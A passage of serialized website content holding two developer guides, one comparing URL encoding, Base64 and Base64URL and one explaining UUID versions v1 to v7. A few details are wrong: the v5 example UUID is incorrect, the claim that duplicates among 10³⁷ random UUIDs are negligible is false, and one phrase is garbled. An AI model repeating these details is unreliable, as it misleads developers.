ASCII text for transport through text-only channels",[16,254433,254434],{},"They are not interchangeable. Using the wrong one breaks your application.",[11,254436,254438],{"id":254437},"how-each-encoding-works","How Each Encoding Works",[33,254440,254441],{"id":202932},"URL Encoding (Percent-Encoding)",[16,254443,254444,254445,254447],{},"Replaces individual characters that are unsafe in URLs with a ",[143,254446,17990],{}," plus two hex digits.",[135,254449,254452],{"className":254450,"code":254451,"language":140},[138],"\"hello world\" → \"hello%20world\"\n\"price=10\"    → \"price%3D10\"\n",[143,254453,254451],{"__ignoreMap":141},[41,254455,254456,254461,254468,254474],{},[44,254457,254458,254460],{},[47,254459,39500],{},": Text string",[44,254462,254463,254465,254466,137376],{},[47,254464,754],{},": ASCII string with ",[143,254467,17990],{},[44,254469,254470,254473],{},[47,254471,254472],{},"Size change",": Slightly larger (3 bytes per encoded字符character)",[44,254475,254476,254478,254479],{},[47,254477,84440],{},": Yes — decode with ",[143,254480,101768],{},[33,254482,93675],{"id":222829},[16,254484,254485],{},"Converts binary data into a string using 64 safe ASCII characters (A–Z, a–z, 0–9, +, \u002F).",[135,254487,254490],{"className":254488,"code":254489,"language":140},[138],"\"hello world\" → \"aGVsbG8gd29ybGQ=\"\n",[143,254491,254489],{"__ignoreMap":141},[41,254493,254494,254499,254504,254509],{},[44,254495,254496,254498],{},[47,254497,39500],{},": Binary data (any bytes)",[44,254500,254501,254503],{},[47,254502,754],{},": ASCII string using Base64 alphabet",[44,254505,254506,254508],{},[47,254507,254472],{},": ~33% larger (3 bytes → 4 characters)",[44,254510,254511,254478,254513,254515],{},[47,254512,84440],{},[143,254514,89955],{}," or equivalent",[11,254517,119336],{"id":119335},[193,254519,254520,254530],{},[196,254521,254522],{},[199,254523,254524,254526,254528],{},[202,254525,13104],{},[202,254527,86920],{},[202,254529,84223],{},[211,254531,254532,254544,254557,254570,254584,254597,254608,254627],{},[199,254533,254534,254538,254541],{},[216,254535,254536],{},[47,254537,2758],{},[216,254539,254540],{},"Make text URL-safe",[216,254542,254543],{},"Encode binary as text",[199,254545,254546,254551,254554],{},[216,254547,254548],{},[47,254549,254550],{},"Input type",[216,254552,254553],{},"Text (mostly)",[216,254555,254556],{},"Any binary data",[199,254558,254559,254564,254567],{},[216,254560,254561],{},[47,254562,254563],{},"What gets encoded",[216,254565,254566],{},"Only unsafe characters",[216,254568,254569],{},"Everything",[199,254571,254572,254577,254581],{},[216,254573,254574],{},[47,254575,254576],{},"Output format",[216,254578,254579,137376],{},[143,254580,34470],{},[216,254582,254583],{},"A–Z, a–z, 0–9, +, \u002F, =",[199,254585,254586,254591,254594],{},[216,254587,254588],{},[47,254589,254590],{},"Size overhead",[216,254592,254593],{},"Up to 3× for special chars",[216,254595,254596],{},"Always ~33%",[199,254598,254599,254604,254606],{},[216,254600,254601],{},[47,254602,254603],{},"Handles binary",[216,254605,6117],{},[216,254607,3057],{},[199,254609,254610,254615,254618],{},[216,254611,254612],{},[47,254613,254614],{},"URL-safe output",[216,254616,254617],{},"Yes (by design)",[216,254619,254620,254621,1459,254623,1459,254625,1525],{},"No (contains ",[143,254622,9448],{},[143,254624,9423],{},[143,254626,7297],{},[199,254628,254629,254633,254636],{},[216,254630,254631],{},[47,254632,31783],{},[216,254634,254635],{},"Query params, path segments",[216,254637,254638],{},"Email, Data URIs, JWT",[11,254640,254642],{"id":254641},"when-to-use-url-encoding","When to Use URL Encoding",[16,254644,203158],{},[41,254646,254647,254653,254659,254665],{},[44,254648,254649,254652],{},[47,254650,254651],{},"Adding text to a URL"," — query parameters, path segments, or fragment identifiers",[44,254654,254655,254658],{},[47,254656,254657],{},"Passing special characters in API requests"," — ampersands, equals signs, slashes",[44,254660,254661,254664],{},[47,254662,254663],{},"Encoding Unicode for web transmission"," — emojis, non-Latin scripts",[44,254666,254667,254670],{},[47,254668,254669],{},"Building shareable links"," with user-generated content",[135,254672,254674],{"className":1607,"code":254673,"language":1609,"meta":141,"style":141},"\u002F\u002F Passing a search query in a URL\nconst search = 'coffee & tea';\nconst url = `\u002Fapi\u002Fsearch?q=${encodeURIComponent(search)}`;\n\u002F\u002F \"\u002Fapi\u002Fsearch?q=coffee%20%26%20tea\"\n",[143,254675,254676,254681,254695,254718],{"__ignoreMap":141},[1560,254677,254678],{"class":1562,"line":1563},[1560,254679,254680],{"class":1649},"\u002F\u002F Passing a search query in a URL\n",[1560,254682,254683,254685,254688,254690,254693],{"class":1562,"line":337},[1560,254684,8180],{"class":1669},[1560,254686,254687],{"class":1576}," search",[1560,254689,8186],{"class":1669},[1560,254691,254692],{"class":5634}," 'coffee & tea'",[1560,254694,2228],{"class":1570},[1560,254696,254697,254699,254701,254703,254706,254708,254710,254712,254714,254716],{"class":1562,"line":343},[1560,254698,8180],{"class":1669},[1560,254700,33819],{"class":1576},[1560,254702,8186],{"class":1669},[1560,254704,254705],{"class":5634}," `\u002Fapi\u002Fsearch?q=${",[1560,254707,33827],{"class":1566},[1560,254709,1688],{"class":5634},[1560,254711,119261],{"class":1570},[1560,254713,1525],{"class":5634},[1560,254715,9582],{"class":5634},[1560,254717,2228],{"class":1570},[1560,254719,254720],{"class":1562,"line":365},[1560,254721,254722],{"class":1649},"\u002F\u002F \"\u002Fapi\u002Fsearch?q=coffee%20%26%20tea\"\n",[16,254724,254725],{},"URL encoding keeps the readable parts intact and only escapes what needs escaping.",[11,254727,254729],{"id":254728},"when-to-use-base64","When to Use Base64",[16,254731,203143],{},[41,254733,254734,254740,254746,254754],{},[44,254735,254736,254739],{},[47,254737,254738],{},"Sending binary data through text channels"," — images in email, binary payloads in JSON",[44,254741,254742,254745],{},[47,254743,254744],{},"Embedding small assets inline"," — Data URIs in CSS or HTML",[44,254747,254748,23567,254751],{},[47,254749,254750],{},"Encoding credentials for HTTP Basic Auth",[143,254752,254753],{},"Authorization: Basic \u003Cbase64>",[44,254755,254756,254759],{},[47,254757,254758],{},"Structuring JWT tokens"," — encoding header, payload, and signature",[135,254761,254763],{"className":1607,"code":254762,"language":1609,"meta":141,"style":141},"\u002F\u002F Embedding a small image as a Data URI\nconst imageBase64 = btoa(binaryImageData);\nconst dataUri = `data:image\u002Fpng;base64,${imageBase64}`;\n",[143,254764,254765,254770,254784],{"__ignoreMap":141},[1560,254766,254767],{"class":1562,"line":1563},[1560,254768,254769],{"class":1649},"\u002F\u002F Embedding a small image as a Data URI\n",[1560,254771,254772,254774,254777,254779,254781],{"class":1562,"line":337},[1560,254773,8180],{"class":1669},[1560,254775,254776],{"class":1576}," imageBase64",[1560,254778,8186],{"class":1669},[1560,254780,43090],{"class":1566},[1560,254782,254783],{"class":1570},"(binaryImageData);\n",[1560,254785,254786,254788,254791,254793,254796,254799,254801],{"class":1562,"line":343},[1560,254787,8180],{"class":1669},[1560,254789,254790],{"class":1576}," dataUri",[1560,254792,8186],{"class":1669},[1560,254794,254795],{"class":5634}," `data:image\u002Fpng;base64,${",[1560,254797,254798],{"class":1570},"imageBase64",[1560,254800,9582],{"class":5634},[1560,254802,2228],{"class":1570},[16,254804,254805],{},"Base64 handles any input — including null bytes and non-printable characters that URL encoding cannot process.",[11,254807,254809],{"id":254808},"when-you-need-both","When You Need Both",[16,254811,254812,254813,468],{},"Some scenarios require combining both encodings. The most common case: ",[47,254814,254815],{},"passing binary data in a URL",[33,254817,254819],{"id":254818},"step-by-step-process","Step-by-step process",[77,254821,254822,254828],{},[44,254823,254824,254827],{},[47,254825,254826],{},"Base64-encode"," the binary data to convert it to ASCII",[44,254829,254830,254833],{},[47,254831,254832],{},"URL-encode"," the Base64 output to make it URL-safe",[16,254835,254836,254837,1459,254839,1466,254841,254843],{},"Standard Base64 contains ",[143,254838,9448],{},[143,254840,9423],{},[143,254842,7297],{}," — all characters with special meaning in URLs.",[135,254845,254847],{"className":1607,"code":254846,"language":1609,"meta":141,"style":141},"\u002F\u002F WRONG: Raw Base64 in a URL breaks on + \u002F =\nconst token = btoa(JSON.stringify(payload));\nconst url = `\u002Fverify?token=${token}`;  \u002F\u002F + becomes space, \u002F breaks paths\n\n\u002F\u002F CORRECT: Base64 then URL-encode\nconst token = btoa(JSON.stringify(payload));\nconst url = `\u002Fverify?token=${encodeURIComponent(token)}`;\n\n\u002F\u002F BETTER: Use Base64URL variant (replaces + → -, \u002F → _, removes =)\nconst base64url = base64ToBase64Url(token);\nconst url = `\u002Fverify?token=${base64url}`;  \u002F\u002F No further encoding needed\n",[143,254848,254849,254854,254875,254895,254899,254904,254924,254946,254950,254955,254969],{"__ignoreMap":141},[1560,254850,254851],{"class":1562,"line":1563},[1560,254852,254853],{"class":1649},"\u002F\u002F WRONG: Raw Base64 in a URL breaks on + \u002F =\n",[1560,254855,254856,254858,254860,254862,254864,254866,254868,254870,254872],{"class":1562,"line":337},[1560,254857,8180],{"class":1669},[1560,254859,42129],{"class":1576},[1560,254861,8186],{"class":1669},[1560,254863,43090],{"class":1566},[1560,254865,1688],{"class":1570},[1560,254867,13411],{"class":1576},[1560,254869,468],{"class":1570},[1560,254871,82298],{"class":1566},[1560,254873,254874],{"class":1570},"(payload));\n",[1560,254876,254877,254879,254881,254883,254886,254888,254890,254892],{"class":1562,"line":343},[1560,254878,8180],{"class":1669},[1560,254880,33819],{"class":1576},[1560,254882,8186],{"class":1669},[1560,254884,254885],{"class":5634}," `\u002Fverify?token=${",[1560,254887,89884],{"class":1570},[1560,254889,9582],{"class":5634},[1560,254891,3409],{"class":1570},[1560,254893,254894],{"class":1649},"\u002F\u002F + becomes space, \u002F breaks paths\n",[1560,254896,254897],{"class":1562,"line":365},[1560,254898,1702],{"emptyLinePlaceholder":363},[1560,254900,254901],{"class":1562,"line":889},[1560,254902,254903],{"class":1649},"\u002F\u002F CORRECT: Base64 then URL-encode\n",[1560,254905,254906,254908,254910,254912,254914,254916,254918,254920,254922],{"class":1562,"line":1710},[1560,254907,8180],{"class":1669},[1560,254909,42129],{"class":1576},[1560,254911,8186],{"class":1669},[1560,254913,43090],{"class":1566},[1560,254915,1688],{"class":1570},[1560,254917,13411],{"class":1576},[1560,254919,468],{"class":1570},[1560,254921,82298],{"class":1566},[1560,254923,254874],{"class":1570},[1560,254925,254926,254928,254930,254932,254934,254936,254938,254940,254942,254944],{"class":1562,"line":1717},[1560,254927,8180],{"class":1669},[1560,254929,33819],{"class":1576},[1560,254931,8186],{"class":1669},[1560,254933,254885],{"class":5634},[1560,254935,33827],{"class":1566},[1560,254937,1688],{"class":5634},[1560,254939,89884],{"class":1570},[1560,254941,1525],{"class":5634},[1560,254943,9582],{"class":5634},[1560,254945,2228],{"class":1570},[1560,254947,254948],{"class":1562,"line":1747},[1560,254949,1702],{"emptyLinePlaceholder":363},[1560,254951,254952],{"class":1562,"line":2507},[1560,254953,254954],{"class":1649},"\u002F\u002F BETTER: Use Base64URL variant (replaces + → -, \u002F → _, removes =)\n",[1560,254956,254957,254959,254962,254964,254967],{"class":1562,"line":2524},[1560,254958,8180],{"class":1669},[1560,254960,254961],{"class":1576}," base64url",[1560,254963,8186],{"class":1669},[1560,254965,254966],{"class":1566}," base64ToBase64Url",[1560,254968,90085],{"class":1570},[1560,254970,254971,254973,254975,254977,254979,254982,254984,254986],{"class":1562,"line":2529},[1560,254972,8180],{"class":1669},[1560,254974,33819],{"class":1576},[1560,254976,8186],{"class":1669},[1560,254978,254885],{"class":5634},[1560,254980,254981],{"class":1570},"base64url",[1560,254983,9582],{"class":5634},[1560,254985,3409],{"class":1570},[1560,254987,254988],{"class":1649},"\u002F\u002F No further encoding needed\n",[33,254990,254992],{"id":254991},"base64url-the-best-of-both-worlds","Base64URL: The Best of Both Worlds",[16,254994,254995],{},"Base64URL is a variant that produces URL-safe output directly:",[193,254997,254998,255010],{},[196,254999,255000],{},[199,255001,255002,255005,255008],{},[202,255003,255004],{},"Base64 Character",[202,255006,255007],{},"Base64URL Replacement",[202,255009,21086],{},[211,255011,255012,255027,255042],{},[199,255013,255014,255018,255022],{},[216,255015,255016],{},[143,255017,9448],{},[216,255019,255020],{},[143,255021,9412],{},[216,255023,255024,255026],{},[143,255025,9448],{}," means space in query strings",[199,255028,255029,255033,255037],{},[216,255030,255031],{},[143,255032,9423],{},[216,255034,255035],{},[143,255036,23056],{},[216,255038,255039,255041],{},[143,255040,9423],{}," is a path separator",[199,255043,255044,255048,255050],{},[216,255045,255046],{},[143,255047,7297],{},[216,255049,20464],{},[216,255051,255052,255054,255055],{},[143,255053,7297],{}," gets percent-encoded to ",[143,255056,172524],{},[16,255058,255059],{},"JWT uses Base64URL for exactly this reason — tokens travel in URLs, cookies, and headers without extra encoding.",[11,255061,255063],{"id":255062},"size-comparison","Size Comparison",[16,255065,255066],{},"Size overhead matters for performance, especially in URLs with length limits (~2000 characters for most browsers).",[193,255068,255069,255082],{},[196,255070,255071],{},[199,255072,255073,255075,255078,255080],{},[202,255074,39500],{},[202,255076,255077],{},"URL-Encoded",[202,255079,84223],{},[202,255081,241937],{},[211,255083,255084,255107,255130],{},[199,255085,255086,255090,255095,255101],{},[216,255087,255088],{},[143,255089,22064],{},[216,255091,255092,255094],{},[143,255093,22064],{}," (0%)",[216,255096,255097,255100],{},[143,255098,255099],{},"aGVsbG8="," (+60%)",[216,255102,255103,255106],{},[143,255104,255105],{},"aGVsbG8"," (+40%)",[199,255108,255109,255113,255118,255124],{},[216,255110,255111],{},[143,255112,40658],{},[216,255114,255115,255117],{},[143,255116,204539],{}," (+10%)",[216,255119,255120,255123],{},[143,255121,255122],{},"aGVsbG8gd29ybGQ="," (+64%)",[216,255125,255126,255129],{},[143,255127,255128],{},"aGVsbG8gd29ybGQ"," (+50%)",[199,255131,255132,255136,255142,255148],{},[216,255133,255134],{},[143,255135,246274],{},[216,255137,255138,255141],{},[143,255139,255140],{},"a%3D1%26b%3D2"," (+33%)",[216,255143,255144,255147],{},[143,255145,255146],{},"YT0xJmI9Mg=="," (+100%)",[216,255149,255150,255153],{},[143,255151,255152],{},"YT0xJmI9Mg"," (+78%)",[16,255155,255156],{},"Key takeaways:",[41,255158,255159,255164,255169],{},[44,255160,255161,255163],{},[47,255162,222754],{}," adds minimal overhead for mostly-alphanumeric text",[44,255165,255166,255168],{},[47,255167,84223],{}," always adds ~33% overhead regardless of input",[44,255170,255171,255173],{},[47,255172,118133],{}," (Base64 + URL-encode) adds the most overhead",[11,255175,102598],{"id":102597},[33,255177,255179],{"id":255178},"neither-is-encryption","Neither Is Encryption",[16,255181,255182,255183,88000,255186,255189],{},"Both URL encoding and Base64 are ",[47,255184,255185],{},"encoding",[47,255187,255188],{},"encryption",". Anyone can decode them. Never use either to protect sensitive data.",[135,255191,255193],{"className":1607,"code":255192,"language":1609,"meta":141,"style":141},"\u002F\u002F DANGEROUS: Encoding is not encryption\nconst password = encodeURIComponent('my-secret');  \u002F\u002F Still readable\nconst encoded = btoa('my-secret');                  \u002F\u002F Trivially decoded\n\n\u002F\u002F CORRECT: Use proper encryption\nconst encrypted = encrypt('my-secret', secretKey);\n",[143,255194,255195,255200,255221,255241,255245,255250],{"__ignoreMap":141},[1560,255196,255197],{"class":1562,"line":1563},[1560,255198,255199],{"class":1649},"\u002F\u002F DANGEROUS: Encoding is not encryption\n",[1560,255201,255202,255204,255207,255209,255211,255213,255216,255218],{"class":1562,"line":337},[1560,255203,8180],{"class":1669},[1560,255205,255206],{"class":1576}," password",[1560,255208,8186],{"class":1669},[1560,255210,33745],{"class":1566},[1560,255212,1688],{"class":1570},[1560,255214,255215],{"class":5634},"'my-secret'",[1560,255217,14724],{"class":1570},[1560,255219,255220],{"class":1649},"\u002F\u002F Still readable\n",[1560,255222,255223,255225,255227,255229,255231,255233,255235,255238],{"class":1562,"line":343},[1560,255224,8180],{"class":1669},[1560,255226,22961],{"class":1576},[1560,255228,8186],{"class":1669},[1560,255230,43090],{"class":1566},[1560,255232,1688],{"class":1570},[1560,255234,255215],{"class":5634},[1560,255236,255237],{"class":1570},");                  ",[1560,255239,255240],{"class":1649},"\u002F\u002F Trivially decoded\n",[1560,255242,255243],{"class":1562,"line":365},[1560,255244,1702],{"emptyLinePlaceholder":363},[1560,255246,255247],{"class":1562,"line":889},[1560,255248,255249],{"class":1649},"\u002F\u002F CORRECT: Use proper encryption\n",[1560,255251,255252,255254,255256,255258,255260,255262,255264],{"class":1562,"line":1710},[1560,255253,8180],{"class":1669},[1560,255255,237771],{"class":1576},[1560,255257,8186],{"class":1669},[1560,255259,238218],{"class":1566},[1560,255261,1688],{"class":1570},[1560,255263,255215],{"class":5634},[1560,255265,151747],{"class":1570},[33,255267,255269],{"id":255268},"common-security-pitfalls","Common security pitfalls",[41,255271,255272,255278,255284,255290],{},[44,255273,255274,255277],{},[47,255275,255276],{},"Don't encode passwords"," — use hashing (bcrypt, Argon2) for storage",[44,255279,255280,255283],{},[47,255281,255282],{},"Don't hide data in URLs"," — encoded URLs appear in logs, browser history, and referrer headers",[44,255285,255286,255289],{},[47,255287,255288],{},"Validate decoded input"," — decoding is not sanitization; always validate the result",[44,255291,255292,255295],{},[47,255293,255294],{},"Watch for double-encoding attacks"," — servers that decode recursively can be tricked",[11,255297,66432],{"id":66431},[77,255299,255300,255309,255316,255323],{},[44,255301,255302,255303,255306,255307],{},"Do you need to put ",[47,255304,255305],{},"binary data"," (images, files, encrypted bytes) into text? → ",[47,255308,84223],{},[44,255310,255302,255311,255313,255314],{},[47,255312,140],{}," into a URL? → ",[47,255315,222754],{},[44,255317,255302,255318,255313,255320,255322],{},[47,255319,255305],{},[47,255321,241937],{}," (or Base64 + URL-encode)",[44,255324,255325,255326,255329],{},"Do you need to ",[47,255327,255328],{},"protect sensitive data","? → Neither — use encryption",[11,255331,321],{"id":320},[41,255333,255334,255338,255342],{},[44,255335,255336],{},[98,255337,247767],{"href":12184},[44,255339,255340],{},[98,255341,120062],{"href":120061},[44,255343,255344],{},[98,255345,237500],{"href":237499},[11,255347,286],{"id":285},[16,255349,254373,255350,255352,255353,255355],{},[98,255351,120079],{"href":34509}," tool. Need Base64? Check out our ",[98,255354,12162],{"href":12161}," as well.",[2043,255357,34519],{},{"title":141,"searchDepth":337,"depth":337,"links":255359},[255360,255361,255365,255366,255367,255368,255372,255373,255377,255378,255379],{"id":254412,"depth":337,"text":254413},{"id":254437,"depth":337,"text":254438,"children":255362},[255363,255364],{"id":202932,"depth":343,"text":254441},{"id":222829,"depth":343,"text":93675},{"id":119335,"depth":337,"text":119336},{"id":254641,"depth":337,"text":254642},{"id":254728,"depth":337,"text":254729},{"id":254808,"depth":337,"text":254809,"children":255369},[255370,255371],{"id":254818,"depth":343,"text":254819},{"id":254991,"depth":343,"text":254992},{"id":255062,"depth":337,"text":255063},{"id":102597,"depth":337,"text":102598,"children":255374},[255375,255376],{"id":255178,"depth":343,"text":255179},{"id":255268,"depth":343,"text":255269},{"id":66431,"depth":337,"text":66432},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"Compare URL encoding and Base64 encoding. Learn their differences, use cases, and when to choose one over the other.",{"immutable":363},{"title":254407,"description":255380},"guides\u002Furl-encoding-vs-base64","3OQYYEoSZV-wogzVh25eVmTkdNMw7appZ0tMWI5NFD0",{"id":255386,"title":255387,"body":255388,"date":235803,"description":255872,"extension":361,"meta":255873,"navigation":363,"path":252655,"readingTime":1710,"seo":255874,"stem":255875,"__hash__":255876},"guides\u002Fguides\u002Fuuid-versions-explained.md","UUID Versions Explained: v1, v3, v4, v5, and v7",{"type":8,"value":255389,"toc":255860},[255390,255394,255397,255402,255409,255413,255416,255420,255428,255432,255443,255446,255450,255453,255484,255488,255496,255500,255511,255514,255518,255521,255541,255545,255556,255560,255568,255571,255575,255578,255601,255605,255613,255617,255625,255628,255632,255635,255641,255645,255656,255660,255668,255671,255675,255802,255806,255832,255834,255849,255851,255857],[11,255391,255393],{"id":255392},"what-is-a-uuid","What Is a UUID?",[16,255395,255396],{},"A UUID (Universally Unique Identifier) is a 128-bit identifier that is unique across space and time without requiring a central coordinator. UUIDs appear as 36-character strings with hyphens:",[135,255398,255400],{"className":255399,"code":252618,"language":140},[138],[143,255401,252618],{"__ignoreMap":141},[16,255403,255404,255405,255408],{},"The format breaks down as ",[143,255406,255407],{},"8-4-4-4-12"," hexadecimal digits. The third group's first digit indicates the UUID version. RFC 4122 defines versions 1, 3, 4, and 5, while RFC 9562 adds version 7.",[11,255410,255412],{"id":255411},"uuid-v1-time-and-node-based","UUID v1: Time and Node Based",[16,255414,255415],{},"UUID v1 combines a 60-bit timestamp (100-nanosecond intervals since October 15, 1582) with the MAC address of the generating machine.",[16,255417,255418],{},[47,255419,30193],{},[41,255421,255422,255425],{},[44,255423,255424],{},"Sortable by generation time",[44,255426,255427],{},"No collision risk across machines with different MAC addresses",[16,255429,255430],{},[47,255431,30199],{},[41,255433,255434,255437,255440],{},[44,255435,255436],{},"Exposes the machine's MAC address — a privacy concern",[44,255438,255439],{},"Predictable: knowing the timestamp and node reveals the UUID",[44,255441,255442],{},"Clock drift on a single machine can cause duplicates",[16,255444,255445],{},"Use v1 when you need traceability to a specific machine and timestamp, such as audit logging in controlled environments.",[11,255447,255449],{"id":255448},"uuid-v3-md5-namespace-hash","UUID v3: MD5 Namespace Hash",[16,255451,255452],{},"UUID v3 generates identifiers by hashing a namespace UUID and a name using MD5. The same namespace and name always produce the same UUID.",[135,255454,255456],{"className":1607,"code":255455,"language":1609,"meta":141,"style":141},"\u002F\u002F Same inputs always yield the same v3 UUID\nuuidv3('example.com', namespace.DNS) \u002F\u002F → 9073926b-929f-31c2-abc9-fad77ae3e8eb\n",[143,255457,255458,255463],{"__ignoreMap":141},[1560,255459,255460],{"class":1562,"line":1563},[1560,255461,255462],{"class":1649},"\u002F\u002F Same inputs always yield the same v3 UUID\n",[1560,255464,255465,255468,255470,255473,255476,255479,255481],{"class":1562,"line":337},[1560,255466,255467],{"class":1566},"uuidv3",[1560,255469,1688],{"class":1570},[1560,255471,255472],{"class":5634},"'example.com'",[1560,255474,255475],{"class":1570},", namespace.",[1560,255477,255478],{"class":1576},"DNS",[1560,255480,1733],{"class":1570},[1560,255482,255483],{"class":1649},"\u002F\u002F → 9073926b-929f-31c2-abc9-fad77ae3e8eb\n",[16,255485,255486],{},[47,255487,30193],{},[41,255489,255490,255493],{},[44,255491,255492],{},"Deterministic: reproduce the same UUID from the same inputs",[44,255494,255495],{},"No need to store the mapping — recompute on the fly",[16,255497,255498],{},[47,255499,30199],{},[41,255501,255502,255505,255508],{},[44,255503,255504],{},"MD5 is cryptographically broken",[44,255506,255507],{},"Collision risk if two different names hash to the same value",[44,255509,255510],{},"Not sortable by time",[16,255512,255513],{},"Use v3 for consistent naming in systems where you recreate identifiers from known inputs, like generating stable URIs from DNS names.",[11,255515,255517],{"id":255516},"uuid-v4-random","UUID v4: Random",[16,255519,255520],{},"UUID v4 uses random or pseudo-random bits for all 122 variable bits. This is the most widely used version.",[135,255522,255524],{"className":1607,"code":255523,"language":1609,"meta":141,"style":141},"\u002F\u002F Each call produces a different random UUID\nuuidv4() \u002F\u002F → f47ac10b-58cc-4372-a567-0e02b2c3d479\n",[143,255525,255526,255531],{"__ignoreMap":141},[1560,255527,255528],{"class":1562,"line":1563},[1560,255529,255530],{"class":1649},"\u002F\u002F Each call produces a different random UUID\n",[1560,255532,255533,255536,255538],{"class":1562,"line":337},[1560,255534,255535],{"class":1566},"uuidv4",[1560,255537,38111],{"class":1570},[1560,255539,255540],{"class":1649},"\u002F\u002F → f47ac10b-58cc-4372-a567-0e02b2c3d479\n",[16,255542,255543],{},[47,255544,30193],{},[41,255546,255547,255550,255553],{},[44,255548,255549],{},"Minimal collision risk: probability of a duplicate among 10³⁷ UUIDs is negligible",[44,255551,255552],{},"No coordination needed between systems",[44,255554,255555],{},"Simple to generate — no clock or network dependency",[16,255557,255558],{},[47,255559,224693],{},[41,255561,255562,255565],{},[44,255563,255564],{},"Not sortable — random order harms database index performance",[44,255566,255567],{},"No embedded metadata",[16,255569,255570],{},"Use v4 as the default choice when you need simple, collision-free identifiers without sortability requirements.",[11,255572,255574],{"id":255573},"uuid-v5-sha-1-namespace-hash","UUID v5: SHA-1 Namespace Hash",[16,255576,255577],{},"UUID v5 works like v3 but uses SHA-1 instead of MD5. It is the recommended replacement for v3.",[135,255579,255581],{"className":1607,"code":255580,"language":1609,"meta":141,"style":141},"uuidv5('example.com', namespace.DNS) \u002F\u002F → c4d7a8a5-71ad-5b36-9c8e-4e6a5d2f1b03\n",[143,255582,255583],{"__ignoreMap":141},[1560,255584,255585,255588,255590,255592,255594,255596,255598],{"class":1562,"line":1563},[1560,255586,255587],{"class":1566},"uuidv5",[1560,255589,1688],{"class":1570},[1560,255591,255472],{"class":5634},[1560,255593,255475],{"class":1570},[1560,255595,255478],{"class":1576},[1560,255597,1733],{"class":1570},[1560,255599,255600],{"class":1649},"\u002F\u002F → c4d7a8a5-71ad-5b36-9c8e-4e6a5d2f1b03\n",[16,255602,255603],{},[47,255604,30193],{},[41,255606,255607,255610],{},[44,255608,255609],{},"Same determinism as v3",[44,255611,255612],{},"SHA-1 provides stronger collision resistance than MD5",[16,255614,255615],{},[47,255616,30199],{},[41,255618,255619,255622],{},[44,255620,255621],{},"SHA-1 is deprecated for cryptographic purposes (though acceptable for UUID generation)",[44,255623,255624],{},"Still not time-sortable",[16,255626,255627],{},"Use v5 instead of v3 in all new systems that need deterministic UUIDs.",[11,255629,255631],{"id":255630},"uuid-v7-time-ordered-modern-standard","UUID v7: Time-Ordered Modern Standard",[16,255633,255634],{},"UUID v7 combines a 48-bit Unix millisecond timestamp with random bits. It combines the sortability of v1 with the simplicity of v4.",[135,255636,255639],{"className":255637,"code":255638,"language":140},[138],"| 48-bit timestamp (ms) | 4-bit ver | 12-bit rand | 2-bit var | 62-bit rand |\n",[143,255640,255638],{"__ignoreMap":141},[16,255642,255643],{},[47,255644,30193],{},[41,255646,255647,255650,255653],{},[44,255648,255649],{},"Time-sortable: excellent for database indexing",[44,255651,255652],{},"No privacy leak — no MAC address embedded",[44,255654,255655],{},"Drop-in replacement for v4 in most systems",[16,255657,255658],{},[47,255659,30199],{},[41,255661,255662,255665],{},[44,255663,255664],{},"Newer standard — not yet supported everywhere",[44,255666,255667],{},"Millisecond precision means sub-millisecond ordering relies on random bits only",[16,255669,255670],{},"Use v7 for new projects that need sortability, especially in database-heavy applications.",[11,255672,255674],{"id":255673},"uuid-version-comparison","UUID Version Comparison",[193,255676,255677,255695],{},[196,255678,255679],{},[199,255680,255681,255683,255685,255688,255690,255693],{},[202,255682,5867],{},[202,255684,170712],{},[202,255686,255687],{},"v3",[202,255689,170727],{},[202,255691,255692],{},"v5",[202,255694,170743],{},[211,255696,255697,255717,255733,255749,255766,255782],{},[199,255698,255699,255704,255706,255709,255711,255714],{},[216,255700,255701],{},[47,255702,255703],{},"Generation",[216,255705,170715],{},[216,255707,255708],{},"MD5 hash",[216,255710,142806],{},[216,255712,255713],{},"SHA-1 hash",[216,255715,255716],{},"Timestamp + Random",[199,255718,255719,255723,255725,255727,255729,255731],{},[216,255720,255721],{},[47,255722,252240],{},[216,255724,3057],{},[216,255726,6117],{},[216,255728,6117],{},[216,255730,6117],{},[216,255732,3057],{},[199,255734,255735,255739,255741,255743,255745,255747],{},[216,255736,255737],{},[47,255738,42877],{},[216,255740,6117],{},[216,255742,3057],{},[216,255744,6117],{},[216,255746,3057],{},[216,255748,6117],{},[199,255750,255751,255756,255758,255760,255762,255764],{},[216,255752,255753],{},[47,255754,255755],{},"Privacy-safe",[216,255757,6117],{},[216,255759,3057],{},[216,255761,3057],{},[216,255763,3057],{},[216,255765,3057],{},[199,255767,255768,255772,255774,255776,255778,255780],{},[216,255769,255770],{},[47,255771,252883],{},[216,255773,36949],{},[216,255775,62302],{},[216,255777,170736],{},[216,255779,36949],{},[216,255781,170736],{},[199,255783,255784,255788,255791,255794,255796,255799],{},[216,255785,255786],{},[47,255787,61666],{},[216,255789,255790],{},"Audit trails",[216,255792,255793],{},"Legacy deterministic IDs",[216,255795,7636],{},[216,255797,255798],{},"Deterministic IDs",[216,255800,255801],{},"Modern databases",[11,255803,255805],{"id":255804},"which-version-should-you-use","Which Version Should You Use?",[41,255807,255808,255814,255820,255826],{},[44,255809,255810,255813],{},[47,255811,255812],{},"Default choice?"," UUID v4 — battle-tested, zero coordination, widely supported",[44,255815,255816,255819],{},[47,255817,255818],{},"Database performance matters?"," UUID v7 — time-ordered, index-friendly",[44,255821,255822,255825],{},[47,255823,255824],{},"Need reproducible IDs?"," UUID v5 — deterministic from namespace + name",[44,255827,255828,255831],{},[47,255829,255830],{},"Legacy system requiring deterministic IDs?"," UUID v3 — same as v5 but with MD5",[11,255833,321],{"id":320},[41,255835,255836,255841,255845],{},[44,255837,255838],{},[98,255839,255840],{"href":253024},"Unique Identifiers Guide",[44,255842,255843],{},[98,255844,252995],{"href":252702},[44,255846,255847],{},[98,255848,241827],{"href":241826},[11,255850,286],{"id":285},[16,255852,255853,255854,255856],{},"Generate UUIDs in any version instantly with our free ",[98,255855,170971],{"href":170970},". Compare v4 randomness and v7 sortability side by side — no signup required.",[2043,255858,255859],{},"html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: 